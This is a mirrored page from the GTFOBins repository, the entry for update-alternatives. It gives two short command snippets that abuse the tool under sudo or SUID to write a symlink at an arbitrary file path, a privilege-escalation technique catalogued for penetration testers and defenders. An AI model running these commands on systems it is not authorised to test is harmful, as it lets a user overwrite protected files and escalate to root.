1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 15:59:17 +01:00
GTFOBins.github.io/_gtfobins/update-alternatives.md
2020-11-17 18:54:53 +01:00

476 B

functions
sudo suid
description code
Write in `$LFILE` a symlink to `$TF`. LFILE=/path/to/file_to_write TF=$(mktemp) echo DATA >$TF sudo update-alternatives --force --install "$LFILE" x "$TF" 0
description code
Write in `$LFILE` a symlink to `$TF`. LFILE=/path/to/file_to_write TF=$(mktemp) echo DATA >$TF ./update-alternatives --force --install "$LFILE" x "$TF" 0